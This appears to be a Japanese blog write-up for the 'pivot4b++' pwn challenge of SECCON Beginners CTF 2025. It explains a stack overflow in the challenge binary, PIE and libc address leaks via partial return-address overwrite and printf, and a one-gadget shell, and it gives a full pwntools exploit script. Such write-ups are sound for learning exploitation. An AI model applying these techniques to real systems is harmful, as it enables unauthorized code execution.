0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

[pwn] pivot4b++ (SECCON Beginners CTF 2025) writeup

0
Last updated at Posted at 2025-12-11

  • Source: SECCON Beginners CTF 2025
  • Author: KuonRuri

バイナリとlibcが与えられる。Dockerfileもついていてうれしい。

#include <stdio.h>
#include <unistd.h>

int vuln() {
	char message[0x30];

	printf("Welcome to the second pivot game!\n");

	printf("> ");
	read(0, message, sizeof(message) + 0x10);

	printf("Message: %s\n", message);

	return 0;
}

int main() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	alarm(120);

	vuln();
}

checksecすると、Canary以外は全て有効になっている。

$ checksec chall
[*] '/path/to/chall'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

0x10byteの自明なBuffer Overflowがあり、さらにread()でユーザー入力を読み込んでいるため、0x38byteの入力でリターンアドレスをリークできそうだ。

ここでmain関数のアセンブリを見ると、main+74でvuln関数を呼び出している。PIEが有効でも下位12bitはオフセットなので、リターンアドレスの下位1byteだけを書き換えることでvuln関数に戻ってきつつmain+74をリークすることができる。

00000000000011dc <main>:
    11dc:       55                      push   %rbp
    11dd:       48 89 e5                mov    %rsp,%rbp
    11e0:       48 8b 05 39 2e 00 00    mov    0x2e39(%rip),%rax        # 4020 <stdin@GLIBC_2.2.5>
    11e7:       b9 00 00 00 00          mov    $0x0,%ecx
    11ec:       ba 02 00 00 00          mov    $0x2,%edx
    11f1:       be 00 00 00 00          mov    $0x0,%esi
    11f6:       48 89 c7                mov    %rax,%rdi
    11f9:       e8 72 fe ff ff          call   1070 <setvbuf@plt>
    11fe:       48 8b 05 0b 2e 00 00    mov    0x2e0b(%rip),%rax        # 4010 <stdout@GLIBC_2.2.5>
    1205:       b9 00 00 00 00          mov    $0x0,%ecx
    120a:       ba 02 00 00 00          mov    $0x2,%edx
    120f:       be 00 00 00 00          mov    $0x0,%esi
    1214:       48 89 c7                mov    %rax,%rdi
    1217:       e8 54 fe ff ff          call   1070 <setvbuf@plt>
    121c:       bf 78 00 00 00          mov    $0x78,%edi
    1221:       e8 2a fe ff ff          call   1050 <alarm@plt>
    1226:       e8 4e ff ff ff          call   1179 <vuln>
    122b:       b8 00 00 00 00          mov    $0x0,%eax
    1230:       5d                      pop    %rbp
    1231:       c3                      ret
payload = b'A'*0x38 
payload += b'\x26' # main+74, elf+0x1226
io.sendafter(b'> ', payload)
io.recvuntil(b'A'*0x38)
elf_leak = u64(io.recvn(6).ljust(8, b'\x00'))
elf.address = elf_leak - 0x1226

assert elf.address & 0xfff == 0
log.success(f'elf base: {hex(elf.address)}')

これでelf baseがリークできたので、次はlibc baseをリークしたい。

vuln関数のアセンブリを見ると、vuln+18でrdiレジスタの中身を出力しているが、rdiの中身がlibcという状況は作れるだろうか。

0000000000001179 <vuln>:
    1179:       55                      push   %rbp
    117a:       48 89 e5                mov    %rsp,%rbp
    117d:       48 83 ec 30             sub    $0x30,%rsp
    1181:       48 8d 05 80 0e 00 00    lea    0xe80(%rip),%rax        # 2008 <_IO_stdin_used+0x8>
    1188:       48 89 c7                mov    %rax,%rdi
    118b:       e8 a0 fe ff ff          call   1030 <puts@plt>
    1190:       48 8d 05 93 0e 00 00    lea    0xe93(%rip),%rax        # 202a <_IO_stdin_used+0x2a>
    1197:       48 89 c7                mov    %rax,%rdi
    119a:       b8 00 00 00 00          mov    $0x0,%eax
    119f:       e8 9c fe ff ff          call   1040 <printf@plt>
    11a4:       48 8d 45 d0             lea    -0x30(%rbp),%rax
    11a8:       ba 40 00 00 00          mov    $0x40,%edx
    11ad:       48 89 c6                mov    %rax,%rsi
    11b0:       bf 00 00 00 00          mov    $0x0,%edi
    11b5:       e8 a6 fe ff ff          call   1060 <read@plt>
    11ba:       48 8d 45 d0             lea    -0x30(%rbp),%rax
    11be:       48 8d 15 68 0e 00 00    lea    0xe68(%rip),%rdx        # 202d <_IO_stdin_used+0x2d>
    11c5:       48 89 c6                mov    %rax,%rsi
    11c8:       48 89 d7                mov    %rdx,%rdi
    11cb:       b8 00 00 00 00          mov    $0x0,%eax
    11d0:       e8 6b fe ff ff          call   1040 <printf@plt>
    11d5:       b8 00 00 00 00          mov    $0x0,%eax
    11da:       c9                      leave
    11db:       c3                      ret

結論から言ってしまうと、printfの実行直後はrdiがfunlockfile()のアドレスになっている。
よって、リターンアドレスをvuln+18に飛ばしてあげれば2周目のvulnの最後のprintfでrdiに格納されたfunlockfile()のアドレスがリークできるので、これでlibcも得られる。

payload = b'B'*0x30
payload += p64(elf.address + 0x5000 - 0x10) # dummy, +rw section
payload += p64(elf.symbols['vuln']+18)
io.sendafter(b'> ', payload)
io.recvuntil(b'B'*0x30)
io.recvn(7) # drop dummy
libc_leak = u64(io.recvline('> ')[:6].ljust(8, b'\x00'))
libc.address = libc_leak - libc.symbols['funlockfile']

assert libc.address & 0xfff == 0
log.success(f'libc base: {hex(libc.address)}')

putの出力を得た後は3周目のreadでユーザー入力待ちの状態になっているので、あとはone-gadgetでシェルを得れば良い。
最終的なsolverはこうなる。

#!/usr/bin/env python3
from pwn import *

# context.log_level = 'debug'


elf = ELF('./chall')
libc = ELF('./libc.so.6')
context.binary = elf

HOST, PORT = 'localhost', 12300
io = remote(HOST, PORT)


# leak elf base
payload = b'A'*0x38 
payload += b'\x26' # main+74, elf+0x1226
io.sendafter(b'> ', payload)
io.recvuntil(b'A'*0x38)
elf_leak = u64(io.recvn(6).ljust(8, b'\x00'))
elf.address = elf_leak - 0x1226

assert elf.address & 0xfff == 0
log.success(f'elf base: {hex(elf.address)}')


# leak libc base
payload = b'B'*0x30
payload += p64(elf.address + 0x5000 - 0x10) # dummy, +rw section
payload += p64(elf.symbols['vuln']+18)
io.sendafter(b'> ', payload)
io.recvuntil(b'B'*0x30)
io.recvn(7) # drop dummy
libc_leak = u64(io.recvline('> ')[:6].ljust(8, b'\x00'))
libc.address = libc_leak - libc.symbols['funlockfile']

assert libc.address & 0xfff == 0
log.success(f'libc base: {hex(libc.address)}')


# get shell
payload = b'C'*0x30
payload += p64(elf.address + 0x5000 - 0x10) # dummy
payload += p64(libc.address + 0xebd3f) # one-gadget
io.send(payload)
io.interactive()

あとはflagを読むだけ。

$ ls
flag-30f9af30bae6316908ad674471772e05.txt
run
$ cat flag*
ctf4b{f3wer_g1fts_gr3ater_j0y}

ctf4b{f3wer_g1fts_gr3ater_j0y}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?